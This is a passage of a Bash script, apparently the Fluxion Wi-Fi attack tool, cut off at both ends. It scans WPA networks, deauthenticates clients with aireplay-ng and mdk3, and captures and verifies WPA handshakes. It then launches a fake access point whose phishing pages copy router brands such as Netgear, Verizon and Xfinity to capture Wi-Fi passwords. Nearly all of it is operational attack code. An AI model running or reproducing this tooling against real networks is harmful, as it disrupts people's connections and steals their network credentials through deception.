"$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR 